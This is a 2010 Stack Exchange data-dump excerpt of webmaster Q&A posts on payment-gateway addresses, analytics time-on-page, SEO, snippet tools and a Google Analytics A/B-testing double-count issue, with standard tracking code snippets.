  <row Id="11502" PostHistoryTypeId="2" PostId="5763" RevisionGUID="6d4c4590-47c0-4f25-9cfd-31e1751eada2" CreationDate="2010-11-22T15:18:49.873" UserDisplayName="AP Dev" Text="you can change the address but not the country on AlertPay's checkout page. If you have already captured your customer's information and stored it in a database, then you should ignore the shipping address that is returned from the IPN since you would only need to validate that the payment was done properly and then simply pull the shipping info from your database. This will avoid the scenario that you have described.&#xD;&#xA;&#xD;&#xA;For any further concerns or inquiry, I would invite you to ask your questions on our Developers' Forum at dev.alertpay.com&#xD;&#xA;" />
  <row Id="11506" PostHistoryTypeId="2" PostId="5765" RevisionGUID="59fccc9f-c59e-46ee-a77b-58f0c70e0974" CreationDate="2010-11-22T15:42:39.227" UserId="3302" Text="Not only can you, but it's my opinion that you should. Each of them offer their own variation of information. The biggest benefit is you'll be aware of any problems with a particular search engine by using all three (i.e. maybe Bing encounters an error crawling your website, but Y! &amp; GG don't).&#xD;&#xA;The exception being that Yahoo! has switched to Bing search results, but their crawler is still chugging along." />
  <row Id="11507" PostHistoryTypeId="10" PostId="3179" RevisionGUID="9c424515-4af8-4863-a606-fa590c01cde8" CreationDate="2010-11-22T16:04:39.220" UserId="180" CloseReasonId="2" Text="[{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="11508" PostHistoryTypeId="2" PostId="5766" RevisionGUID="ecfbdbb6-6563-4ec1-9ddf-91739185de19" CreationDate="2010-11-22T16:08:30.240" UserId="2480" Text="How do analytics applications (like StatCounter or GoogleAnalytics) measure time spent on page? Is that possible without JavaScript? &#xD;&#xA;&#xD;&#xA;I guess they reloading 1x1 web-bug or something after certain amount of time, am I right?" />
  <row Id="11509" PostHistoryTypeId="1" PostId="5766" RevisionGUID="ecfbdbb6-6563-4ec1-9ddf-91739185de19" CreationDate="2010-11-22T16:08:30.240" UserId="2480" Text="How is time spent on page measured?" />
  <row Id="11510" PostHistoryTypeId="3" PostId="5766" RevisionGUID="ecfbdbb6-6563-4ec1-9ddf-91739185de19" CreationDate="2010-11-22T16:08:30.240" UserId="2480" Text="&lt;analytics&gt;" />
  <row Id="11513" PostHistoryTypeId="2" PostId="5768" RevisionGUID="421f08bf-3d0a-47ff-8581-99f27ff4a91c" CreationDate="2010-11-22T16:32:01.770" UserId="1757" Text="You could use a web-bug, AJAX tag or an iframe with a `refresh` meta tag, but those still don't really account for tabbed browsers or people who have multiple browser windows open (or people leaving their desk with a window open).&#xD;&#xA;&#xD;&#xA;The Nielson meter supposedly gives credit only to the in-focus tab/window and measures mouse/keyboard activity so that if there's more than 30 minutes of inactivity, only 1 minute is credited. But this requires each user to install desktop software.&#xD;&#xA;&#xD;&#xA;You could also potentially estimate time spent with only log file analysis. But that requires setting an abandonment threshold so that if, say, there is over 30 minutes between requests, then you assume the user abandoned the first page after a minute. Ideally, you'd analyze the page content to determine what the abandonment threshold ought to be. E.g. if it's a long, unpaginated article that takes 30 minutes to read, then you might make the abandonment threshold bigger than a page that just has contact info on it.&#xD;&#xA;&#xD;&#xA;But without installing some kind of desktop client, it would be very hard to get accurate measurements." />
  <row Id="11517" PostHistoryTypeId="5" PostId="5754" RevisionGUID="e1ea769a-66f7-4628-9253-7f790781d56f" CreationDate="2010-11-22T16:45:06.417" UserId="1757" Comment="format correctly" Text="Although i asked about SEO for dynamic pages, and got right answer, I seriously forgot to mention the most important thing that i want to know.&#xD;&#xA;&#xD;&#xA;Suppose i have following php line of code&#xD;&#xA;&#xD;&#xA;    &lt;title&gt;&lt;?php echo $title; ?&gt;&lt;/title&gt;&#xD;&#xA;    &lt;meta name=&quot;description&quot; content=&quot;&lt;?php echo $description; ?&gt;&quot; /&gt;&#xD;&#xA;    &lt;meta name=&quot;keywords&quot; content=&quot;&lt;?php echo $keywords; ?&gt;&quot; /&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;where the variable represent the their values generated from a database.&#xD;&#xA;Now, there are two simple plain and stupid question i want to ask&#xD;&#xA;&#xD;&#xA;1. Will search engine crawl this dynamically generated page as a normal static page with these values static.&#xD;&#xA;&#xD;&#xA;2. I don't know for some reason i think search engine don't do. But for example, when ever i type some question, i get the answer on stackoverflow website. I think the questions and answers are stored in database but how does a search engine find the page and display the title and description of the page stored in page. Or is it that stackoverflow generates a static page for each and every question that can be edited.&#xD;&#xA;&#xD;&#xA;regards" />
  <row Id="11519" PostHistoryTypeId="2" PostId="5770" RevisionGUID="64f15a17-2289-4c39-9eec-32fdf2273d35" CreationDate="2010-11-22T17:09:30.083" UserId="3405" Text="Does anyone have a good resource for SEO guides, videos, or webinars that focus on optimizing the content of a website, rather than the actual code? I've been asked to find this for a few employees at my company. These employees are non-technical and deal with writing the content for a website. They do not deal with any code.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="11520" PostHistoryTypeId="1" PostId="5770" RevisionGUID="64f15a17-2289-4c39-9eec-32fdf2273d35" CreationDate="2010-11-22T17:09:30.083" UserId="3405" Text="SEO Guide/Webinar for the Non-technical" />
  <row Id="11521" PostHistoryTypeId="3" PostId="5770" RevisionGUID="64f15a17-2289-4c39-9eec-32fdf2273d35" CreationDate="2010-11-22T17:09:30.083" UserId="3405" Text="&lt;seo&gt;" />
  <row Id="11522" PostHistoryTypeId="2" PostId="5771" RevisionGUID="b796499b-3997-405d-9f34-04eea572c490" CreationDate="2010-11-22T17:10:30.427" UserId="745" Text="There is a JavaScript event called [onunload][1], which is called when the page is closed or the back button is clicked. Using that combined with an event listener for keyboard or mouse inputs should give a fairly accurate time-on-page analysis for users with JavaScript enabled. &#xD;&#xA;&#xD;&#xA;For users without JavaScript, you're probably left to comparing timestamps and referrers between internal pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.mozilla.org/en/DOM/window.onunload" />
  <row Id="11523" PostHistoryTypeId="2" PostId="5772" RevisionGUID="0a2b090e-b354-4642-8bfa-993dd48c6184" CreationDate="2010-11-22T17:16:08.957" UserId="3406" Text="Is it OK to have a page that will not show content to browsers unless they are logged in - but will recognise a search bot and show it the content regardless?&#xD;&#xA;&#xD;&#xA;I.e. googolebot get the content - normal users get a login screen.&#xD;&#xA;&#xD;&#xA;I was under the impression that this was a no-no but am increasingly seeing this (Microsoft MSDN for example) - any authorative sources for yes/no?" />
  <row Id="11524" PostHistoryTypeId="1" PostId="5772" RevisionGUID="0a2b090e-b354-4642-8bfa-993dd48c6184" CreationDate="2010-11-22T17:16:08.957" UserId="3406" Text="Hide content behind login screen but show to search engines." />
  <row Id="11525" PostHistoryTypeId="3" PostId="5772" RevisionGUID="0a2b090e-b354-4642-8bfa-993dd48c6184" CreationDate="2010-11-22T17:16:08.957" UserId="3406" Text="&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="11526" PostHistoryTypeId="2" PostId="5773" RevisionGUID="649f1f77-dce2-417e-b087-2b8ee647e763" CreationDate="2010-11-22T17:19:34.620" UserId="3142" Text="Because of the importance of backlinks, and the way that &quot;authority&quot; is calculated, black hat SEO has proliferated [LinkWheels][1] and [Mininets][2]. In my opinion, we now have a situation that was like baseball during the steroids era. Everyone is cheating, so the people who don't cheat can no longer compete because the cheaters are dominating the game.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.squidoo.com/how-to-make-a-link-wheel&#xD;&#xA;  [2]: http://www.revengeofthemininet.com/&#xD;&#xA;&#xD;&#xA;With hope that this does not become a discussion of the ethics, which would certainly move this to community wiki (at best), I'm curious about what is technically correct about both Mininet and Linkwheel implementations.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;Do mininets correctly build backlinks? What is the lesson learned regarding backlinks (and their efforts to pose them as organic)?&#xD;&#xA;&#xD;&#xA;Do they increase the so called &quot;money site's&quot; authority?&#xD;&#xA;&#xD;&#xA;I also should add that it's quite interesting that the Linkwheels are largely built upon the same Web2.0 properties that it seems those sites must be aware of their place in all of this (Squidoo?). If you can cite examples of sites making public their DoFollow or NoFollow link policy, please do.&#xD;&#xA;&#xD;&#xA;Please note that I'm not an apologist for those black hat techniques. What I'm trying to do is gain a strong understanding of the techniques that are successfully deployed with Linkwheels and Mininets. In so doing, we all may better architect our off-page SEM and social media campaigns." />
  <row Id="11527" PostHistoryTypeId="1" PostId="5773" RevisionGUID="649f1f77-dce2-417e-b087-2b8ee647e763" CreationDate="2010-11-22T17:19:34.620" UserId="3142" Text="What is technically correct with Link Wheel and Mininet [technique], looking past the ethical (aka &quot;blackhat&quot;) nature?" />
  <row Id="11528" PostHistoryTypeId="3" PostId="5773" RevisionGUID="649f1f77-dce2-417e-b087-2b8ee647e763" CreationDate="2010-11-22T17:19:34.620" UserId="3142" Text="&lt;seo&gt;&lt;google&gt;&lt;links&gt;&lt;blackhat&gt;" />
  <row Id="11529" PostHistoryTypeId="2" PostId="5774" RevisionGUID="25bc55e3-3808-4b9c-9c5b-6f0d67b59126" CreationDate="2010-11-22T17:32:20.823" UserId="3142" Text="Yes, you can do that. It's called &quot;First Click for Free for Web Search.&quot;&#xD;&#xA;&#xD;&#xA;This seems like a subjective question/answer, but your intent is not to deceive here. No doubt, the fear is rooted in having something different for the spider than you normally serve to a user, but you:&#xD;&#xA;&#xD;&#xA;a.) need to get your content spidered&#xD;&#xA;b.) need to have users login (based on your business rules)&#xD;&#xA;&#xD;&#xA;What you're doing is referred to by some as &quot;cloaking&quot; and that's not allowed *because* of the usual blackhat intent of most cloaking efforts (i.e. maximize SEO juice for the spiders, but do something less for real users).&#xD;&#xA;&#xD;&#xA;There is a post on the Google Webmaster Central Blog about this:&#xD;&#xA;http://googlewebmastercentral.blogspot.com/2008/10/first-click-free-for-web-search.html&#xD;&#xA;&#xD;&#xA;So, go for it!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11530" PostHistoryTypeId="2" PostId="5775" RevisionGUID="138abc8b-636b-45c6-846b-dc70b1490c3b" CreationDate="2010-11-22T17:36:29.910" UserId="2293" Text="Write for your users.&#xD;&#xA;&#xD;&#xA;Markup optimization makes difference. But only when content is good, and your incoming links are good too.&#xD;&#xA;&#xD;&#xA;Good content is fresh, useful and usable. Ensure your web writers do that right just-finish-college journalists are fine for this duty.&#xD;&#xA;&#xD;&#xA;But also make sure you have at least one tech (coding) guy to make necessary things, like sitemaps, domains and markup... and one web designer (I mean, one person who understand about design, elements composition, colors, fonts, visual hierarchy, but also dominates HTML/CSS/Javascript techniques necessary to make web pages, not just fullfill your pages with tons of images)." />
  <row Id="11531" PostHistoryTypeId="2" PostId="5776" RevisionGUID="f925cac1-d58f-4f47-a364-c41e63fe94ac" CreationDate="2010-11-22T17:55:55.757" UserDisplayName="arnold" Text="Im a web designer , and Im used to collect snippets of code I found in the internet, I found snippely as a great snippet app but it doesnt have export or import features when Im going to different working station...&#xD;&#xA;any help is appreciated...&#xD;&#xA;Thanks in advance" />
  <row Id="11532" PostHistoryTypeId="1" PostId="5776" RevisionGUID="f925cac1-d58f-4f47-a364-c41e63fe94ac" CreationDate="2010-11-22T17:55:55.757" UserDisplayName="arnold" Text="Are there any snippet software app for windows user ?" />
  <row Id="11533" PostHistoryTypeId="3" PostId="5776" RevisionGUID="f925cac1-d58f-4f47-a364-c41e63fe94ac" CreationDate="2010-11-22T17:55:55.757" UserDisplayName="arnold" Text="&lt;html&gt;&lt;css&gt;&lt;windows&gt;" />
  <row Id="11534" PostHistoryTypeId="2" PostId="5777" RevisionGUID="8f38aa01-b91f-4743-8d3e-88fc6572caff" CreationDate="2010-11-22T18:03:52.050" UserId="2707" Text="Lifehacker's &lt;a href=&quot;http://lifehacker.com/238306/lifehacker-code-texter-windows&quot;&gt;Texter&lt;/a&gt; is the only standalone one I know of. It's free, open source, and easy to use.&#xD;&#xA;&#xD;&#xA;Also, if you have a background in programming, &lt;a href=&quot;http://www.autohotkey.com/&quot;&gt;AutoHotkey&lt;/a&gt; might be a viable option. Texter has a GUI so thats probably your best choice." />
  <row Id="11535" PostHistoryTypeId="5" PostId="5777" RevisionGUID="ec294dc4-31e9-4166-9fce-6741c217b1b7" CreationDate="2010-11-22T18:09:17.537" UserId="2707" Comment="I added the section on sparkup/zen coding." Text="Lifehacker's &lt;a href=&quot;http://lifehacker.com/238306/lifehacker-code-texter-windows&quot;&gt;Texter&lt;/a&gt; is the only standalone one I know of. It's free, open source, and easy to use.&#xD;&#xA;&#xD;&#xA;Also, if you have a background in programming, &lt;a href=&quot;http://www.autohotkey.com/&quot;&gt;AutoHotkey&lt;/a&gt; might be a viable option. Texter has a GUI so thats probably your best choice.&#xD;&#xA;&#xD;&#xA;Personally, I use vim for coding, so I use a combination of snipMate and &lt;a href=&quot;https://github.com/rstacruz/sparkup&quot;&gt;sparkup&lt;/a&gt; for writing code. I used to use Textmate when I had a Mac, but when I went to Windows, I used &lt;a href=&quot;http://www.e-texteditor.com/&quot;&gt;E Text Editor&lt;/a&gt; for a bit. It's a feature for feature port of Textmate to Windows, and if you love Textmate, you'll be right at home. &#xD;&#xA;&#xD;&#xA;But since I've discovered vim and sparkup/zen coding, I've had very little use for snippets anymore. It' so much more efficient to use these instead of snippets. Sparkup is only for vim, but &lt;a href=&quot;http://code.google.com/p/zen-coding/&quot;&gt;zen coding&lt;/a&gt; is available for pretty much any editor under the sun." />
  <row Id="11536" PostHistoryTypeId="2" PostId="5778" RevisionGUID="88d9b2da-9641-4b52-9019-7ebef797ffce" CreationDate="2010-11-22T18:14:49.243" UserId="118" Text="I'm trying to figure out whether it's best to:&#xD;&#xA;&#xD;&#xA; * stick with the tried and true link text for login (&quot;log in&quot; -&gt; linking to the login page)&#xD;&#xA;&#xD;&#xA; * Make the login button custom to the site and somewhat of a call to action (&quot;Become a ninja&quot; -&gt; linking to login and signup page.)&#xD;&#xA;&#xD;&#xA;The familiar and boring vs. the custom and possibly ambiguous?  (Err, this is in context of a ninja webgame [ http://ninjawars.net ], of course)" />
  <row Id="11537" PostHistoryTypeId="1" PostId="5778" RevisionGUID="88d9b2da-9641-4b52-9019-7ebef797ffce" CreationDate="2010-11-22T18:14:49.243" UserId="118" Text="Is it ill-advised to create custom text for a login link (e.g. &quot;Become a ninja&quot; as opposed to just &quot;log in&quot;)." />
  <row Id="11538" PostHistoryTypeId="3" PostId="5778" RevisionGUID="88d9b2da-9641-4b52-9019-7ebef797ffce" CreationDate="2010-11-22T18:14:49.243" UserId="118" Text="&lt;usability&gt;&lt;login&gt;&lt;user-friendly&gt;" />
  <row Id="11539" PostHistoryTypeId="2" PostId="5779" RevisionGUID="d5b50cce-2d42-43b5-8361-193f56124ea9" CreationDate="2010-11-22T18:54:14.820" UserId="2783" Text="Where can I find a good step by step tutorial about some api weather implementation? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I´m really new in this, so official documentation is not always as clear as I need to begin to understand.&#xD;&#xA;&#xD;&#xA;The API must be free, that´s the only requirement.&#xD;&#xA;&#xD;&#xA;Note: Originally [posted by me on StackOverflow][1] with no answer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/4196752/step-by-step-weather-api-tutorial" />
  <row Id="11540" PostHistoryTypeId="1" PostId="5779" RevisionGUID="d5b50cce-2d42-43b5-8361-193f56124ea9" CreationDate="2010-11-22T18:54:14.820" UserId="2783" Text="Step by step weather API tutorial" />
  <row Id="11541" PostHistoryTypeId="3" PostId="5779" RevisionGUID="d5b50cce-2d42-43b5-8361-193f56124ea9" CreationDate="2010-11-22T18:54:14.820" UserId="2783" Text="&lt;api&gt;" />
  <row Id="11542" PostHistoryTypeId="2" PostId="5780" RevisionGUID="5302783e-73ac-4d9f-8054-b6939d6416a8" CreationDate="2010-11-22T19:04:09.717" UserId="3142" Text="My answer is a suggestion for tool some might think is over reaching, but it could be the best solution if it's useful to you *and* serves a few other needs, too.&#xD;&#xA;&#xD;&#xA;I like to use [EverNote][1] for things like this.&#xD;&#xA;&#xD;&#xA;It has a very good web client, and compiled apps for PC, Mac, iPhone, and Android. So the text you collect is likely to be available wherever you are.&#xD;&#xA;&#xD;&#xA;EverNote will also capture audio, pictures, and rich text. It's a great note taking tool, and it's free for accounts uploading less than 40MB per month of data. Paid accounts get more capacity and SSL, some collaboration features and more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.evernote.com/" />
  <row Id="11543" PostHistoryTypeId="2" PostId="5781" RevisionGUID="ccae74d1-4fb2-4533-b879-1c34cd79ce52" CreationDate="2010-11-22T19:23:24.660" UserId="1953" Text="I've not seen a comprehensive guide on this, but if they are just writing and not implementing I would focus on 3 main areas:&#xD;&#xA;&#xD;&#xA;Keyword research - by showing them how people search and what people search for, your writers will be able to write using the same language your searchers are using. &#xD;&#xA;&#xD;&#xA;Principles of Writing - Understanding how writing formats can impact readers, explain using headings and subheadings, bulleted lists etc. (these all have markup that can be added by whoever implements but understanding the importance of laying out your article can be a big help).&#xD;&#xA;&#xD;&#xA;Content types - you get more value using different writing styles for different types of content. IE a blog post should be conversational, whereas a white paper should be technical etc. " />
  <row Id="11544" PostHistoryTypeId="2" PostId="5782" RevisionGUID="dbef0556-d695-47c6-be38-f8c87d3c2447" CreationDate="2010-11-22T20:26:28.123" UserDisplayName="amier" Text="styleguide.yahoo.com/resources/optimize-search-engines/seo-basics&#xD;&#xA;&#xD;&#xA;http://www.google.com/webmasters/docs/search-engine-optimization-starter-guide.pdf" />
  <row Id="11545" PostHistoryTypeId="2" PostId="5783" RevisionGUID="e45aacd7-b665-4409-ba31-d08e95c1c7fd" CreationDate="2010-11-22T20:27:10.993" UserId="2293" Text="I'm not a UI/UX specialist, but based on my experience I would do the following:&#xD;&#xA;&#xD;&#xA; - keep a boring but grandpa-recognizable links &quot;Log In&quot; and &quot;Sign Up&quot; at top right corner.&#xD;&#xA; - make a nice call-to-action button &quot;Become a ninja&quot; and place it on the page content, linking to &quot;sign up&quot; page." />
  <row Id="11546" PostHistoryTypeId="6" PostId="5778" RevisionGUID="1c14b056-d911-48a6-9bf5-6de8696a48ce" CreationDate="2010-11-22T20:27:27.233" UserId="2293" Comment="edited tags" Text="&lt;usability&gt;&lt;login&gt;&lt;user-friendly&gt;&lt;ux&gt;" />
  <row Id="11547" PostHistoryTypeId="2" PostId="5784" RevisionGUID="6b8c5904-bf56-419a-ab84-bed1c395b3a2" CreationDate="2010-11-22T20:33:20.203" UserId="2293" Text="Check here: http://stackoverflow.com/questions/507441/best-weather-apis&#xD;&#xA;&#xD;&#xA;Note, I recommend using [Yahoo! Weather API][1]. Their documentation is nice.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/weather/" />
  <row Id="11548" PostHistoryTypeId="2" PostId="5785" RevisionGUID="2f87bd52-293c-416f-821d-f8cc7d7ed729" CreationDate="2010-11-22T20:53:13.097" UserDisplayName="Liam" Text="The title says it all, I'm trying to find what time each visit came from a particular traffic source. EG if I wanted to find all the times that users visited from Google (Organic) - Can I do this i GA?" />
  <row Id="11549" PostHistoryTypeId="1" PostId="5785" RevisionGUID="2f87bd52-293c-416f-821d-f8cc7d7ed729" CreationDate="2010-11-22T20:53:13.097" UserDisplayName="Liam" Text="Google analytics - Find what time users entered the site from traffic source" />
  <row Id="11550" PostHistoryTypeId="3" PostId="5785" RevisionGUID="2f87bd52-293c-416f-821d-f8cc7d7ed729" CreationDate="2010-11-22T20:53:13.097" UserDisplayName="Liam" Text="&lt;google-analytics&gt;" />
  <row Id="11551" PostHistoryTypeId="2" PostId="5786" RevisionGUID="2d23c548-a21f-4213-b222-58975e4e5e85" CreationDate="2010-11-22T21:04:12.210" UserId="108" Text="My website currently has a Google Asynchronous tracking code at the top of every page and the home page has an A/B test running on it.  This is causing GA to add 2 visits for every 1 to the home page. &#xD;&#xA;&#xD;&#xA;I have used Google's Web Optimizer to A/B test the home page against 2 other versions (all 3 have footer code).  There is also a single goal page with footer code.  &#xD;&#xA;&#xD;&#xA;All of the codes are below, with only identifying info removed.  My issue is that every person that visits my home page (www.example.com) is getting counted as 2 visits.  This is obviously incorrect but I am not sure how to fix it. I have already tried a few different options outlined below but none have fully succeeded.&#xD;&#xA;&#xD;&#xA;This is my GA tracking code:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    			var _gaq = _gaq || [];&#xD;&#xA;    			_gaq.push(['_setAccount', 'UA-XXXXXXX-1']);&#xD;&#xA;    			_gaq.push(['_setDomainName', '.example.com']);&#xD;&#xA;    			_gaq.push(['_trackPageview']);&#xD;&#xA;    &#xD;&#xA;    			(function() {&#xD;&#xA;    				var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;    				ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;    				var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;    			})();&#xD;&#xA;    		&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;This is the Web Optimizer code below the GA Tracking code on www.example.com:&#xD;&#xA;&#xD;&#xA;    &lt;script&gt;&#xD;&#xA;    function utmx_section(){}function utmx(){}&#xD;&#xA;    (function(){var k='YYYYYYYYYY',d=document,l=d.location,c=d.cookie;function f(n){&#xD;&#xA;    if(c){var i=c.indexOf(n+'=');if(i&gt;-1){var j=c.indexOf(';',i);return c.substring(i+n.&#xD;&#xA;    length+1,j&lt;0?c.length:j)}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;&#xD;&#xA;    d.write('&lt;sc'+'ript src=&quot;'+&#xD;&#xA;    'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'&#xD;&#xA;    +'/siteopt.js?v=1&amp;utmxkey='+k+'&amp;utmx='+(x?x:'')+'&amp;utmxx='+(xx?xx:'')+'&amp;utmxtime='&#xD;&#xA;    +new Date().valueOf()+(h?'&amp;utmxhash='+escape(h.substr(1)):'')+&#xD;&#xA;    '&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/sc'+'ript&gt;')})();&#xD;&#xA;    &lt;/script&gt;&lt;script&gt;utmx(&quot;url&quot;,'A/B');&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;My home page and the 2 variant pages have this in their footer:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    if(typeof(_gat)!='object')document.write('&lt;sc'+'ript src=&quot;http'+&#xD;&#xA;    (document.location.protocol=='https:'?'s://ssl':'://www')+&#xD;&#xA;    '.google-analytics.com/ga.js&quot;&gt;&lt;/sc'+'ript&gt;')&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    try {&#xD;&#xA;    var gwoTracker=_gat._getTracker(&quot;UA-XXXXXXXXX-37&quot;);&#xD;&#xA;    gwoTracker._trackPageview(&quot;/YYYYYYYYYY/test&quot;);&#xD;&#xA;    }catch(err){}&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;My goal page has this:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    if(typeof(_gat)!='object')document.write('&lt;sc'+'ript src=&quot;http'+&#xD;&#xA;    (document.location.protocol=='https:'?'s://ssl':'://www')+&#xD;&#xA;    '.google-analytics.com/ga.js&quot;&gt;&lt;/sc'+'ript&gt;')&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    try {&#xD;&#xA;    var gwoTracker=_gat._getTracker(&quot;UA-XXXXXXXXX-37&quot;);&#xD;&#xA;    gwoTracker._trackPageview(&quot;/YYYYYYYYYY/goal&quot;);&#xD;&#xA;    }catch(err){}&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;Here are my failed fixes so far:&#xD;&#xA;&#xD;&#xA; - Change the UA-XXXXXXXXX-37 to UA-XXXXXXXXX-1.  This just makes my bounce rate for those pages go to 100%&#xD;&#xA; - Move the GA code in front of the Web Optimizer Code.  This did not fix the issues but I left it because I believe it is correct.&#xD;&#xA; - Added `gwoTracker=_gaq._setDomainName('.example.com');` between the ._getTracker and ._trackPageview of the 3 footers. This caused GA to work again and the Web Optimizer to quit working completely.&#xD;&#xA;&#xD;&#xA;What is the correct way to do this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11552" PostHistoryTypeId="1" PostId="5786" RevisionGUID="2d23c548-a21f-4213-b222-58975e4e5e85" CreationDate="2010-11-22T21:04:12.210" UserId="108" Text="Google Analytics and Web Optimizer Code creating double site visits" />
  <row Id="11553" PostHistoryTypeId="3" PostId="5786" RevisionGUID="2d23c548-a21f-4213-b222-58975e4e5e85" CreationDate="2010-11-22T21:04:12.210" UserId="108" Text="&lt;google-analytics&gt;&lt;google-website-optimizer&gt;" />
  <row Id="11554" PostHistoryTypeId="2" PostId="5787" RevisionGUID="d65ebfd5-1faa-4961-a431-f14474d154fd" CreationDate="2010-11-22T21:56:33.333" UserId="3371" Text="I've tried iShowU to do screencasts, but the software does not allow you to zoom in and focus on where your cursor is point.  &#xD;&#xA;&#xD;&#xA;What is the best software for MacOS that allows you to do simple effects like zooming when screencasting?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="11555" PostHistoryTypeId="1" PostId="5787" RevisionGUID="d65ebfd5-1faa-4961-a431-f14474d154fd" CreationDate="2010-11-22T21:56:33.333" UserId="3371" Text="What product can you use to zoom and focus cursors when screencasting--what's the best screencast software?" />
  <row Id="11556" PostHistoryTypeId="3" PostId="5787" RevisionGUID="d65ebfd5-1faa-4961-a431-f14474d154fd" CreationDate="2010-11-22T21:56:33.333" UserId="3371" Text="&lt;images&gt;&lt;marketing&gt;" />
  <row Id="11557" PostHistoryTypeId="2" PostId="5788" RevisionGUID="956fe2fb-6c51-43d7-97f6-a66fb648fbc5" CreationDate="2010-11-22T21:45:21.580" UserDisplayName="John Berryman" Text="If you all are nerds like me then you are aware of [XKCD][1].  If I wanted to go about creating my own web comic with a website layout similar to this one, then what would you recommend.  Drupal (if so, also refer me to any non-default modules that I would need), WordPress, straight up html?&#xD;&#xA;&#xD;&#xA;*(Also, if this is not the forum for such questions, then please point me to a better forum.)*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://xkcd.com/" />
  <row Id="11558" PostHistoryTypeId="1" PostId="5788" RevisionGUID="956fe2fb-6c51-43d7-97f6-a66fb648fbc5" CreationDate="2010-11-22T21:45:21.580" UserDisplayName="John Berryman" Text="How to make my own XKCD" />
  <row Id="11559" PostHistoryTypeId="3" PostId="5788" RevisionGUID="956fe2fb-6c51-43d7-97f6-a66fb648fbc5" CreationDate="2010-11-22T21:45:21.580" UserDisplayName="John Berryman" Text="&lt;websites&gt;" />
  <row Id="11560" PostHistoryTypeId="17" PostId="5788" RevisionGUID="e4356a30-f298-4fb8-a82d-0aaea2cf7ed9" CreationDate="2010-11-22T22:03:49.287" UserId="-1" Comment="from http://serverfault.com/questions/204897/how-to-make-my-own-xkcd" Text="" />
  <row Id="11561" PostHistoryTypeId="2" PostId="5789" RevisionGUID="a9e3a000-af22-443d-9c0a-9b6e704fec4f" CreationDate="2010-11-22T22:07:18.570" UserId="745" Text="Check out [ComicPress][1], based on on Wordpress.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://comicpress.org/" />
  <row Id="11562" PostHistoryTypeId="2" PostId="5790" RevisionGUID="a02e39ba-d865-4505-945e-67748f8da01f" CreationDate="2010-11-22T22:09:54.323" UserId="745" Text="Try [Camtasia][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.techsmith.com/camtasia/" />
  <row Id="11563" PostHistoryTypeId="2" PostId="5791" RevisionGUID="5dd600de-1226-4458-b8b6-3c9d0f5738d9" CreationDate="2010-11-22T23:19:54.970" UserId="3405" Text="If you ever wonder what a search engine will &quot;see,&quot; turn off JavaScript, open a website, right click, and select &quot;View Source&quot; (or something along those lines)." />
  <row Id="11564" PostHistoryTypeId="2" PostId="5792" RevisionGUID="4c1978c4-5662-4802-9084-3bdbae2ace0a" CreationDate="2010-11-22T23:36:37.020" UserId="3405" Text="Also check out Google's font directory which is a great way to get started using fonts that aren't considered &quot;web safe.&quot; Basically, all you have to do is add a link tag the proper font in the directory before the css that uses it. Google will determine the browser through the user agent, and will spit out the required font-face css. You can then use the font in the &quot;font-family&quot; property.&#xD;&#xA;&#xD;&#xA;Here's the quick start guide: http://code.google.com/apis/webfonts/docs/getting_started.html" />
  <row Id="11565" PostHistoryTypeId="2" PostId="5793" RevisionGUID="c56c78d9-41ac-4573-ba6d-2fbad89f4e1c" CreationDate="2010-11-22T23:41:49.377" UserId="745" Text="Unfortunately, it doesn't look like Google Analytics will allow you to drill down beyond a particular day, though it will let you expand to weekly or monthly views. To get that kind of data, you'd need to use a different services, possibly a real-time analytics script. " />
  <row Id="11566" PostHistoryTypeId="2" PostId="5794" RevisionGUID="dfeee90d-fe84-4b11-bd43-0ab119f6a1db" CreationDate="2010-11-23T00:38:14.947" UserId="3413" Text="I wanted to get peoples thoughts on integrated email hosting solutions. As a webmaster/web developer, I own many domains and would ideally like to incorporate all those emails into 1 interface, like I can with Outlook on my desktop. &#xD;&#xA;&#xD;&#xA;However, because I have a day job, I do not want to load all my email accounts into my work Outlook, yet want to check it periodically. I am also tired of having all these emails forwarded to my personal email, since my responses are then going to be from the personal email. This pushes me in the direction of Outlook's web access feature. Outlook is just fine for me, as I can create sub-folders within folders for my emails, and archive mail I dont readily need. &#xD;&#xA;&#xD;&#xA;However, when reviewing prices online, it looks like to have this ability, I'd have to pay $5/$10 per email account per month. If I want to make 15 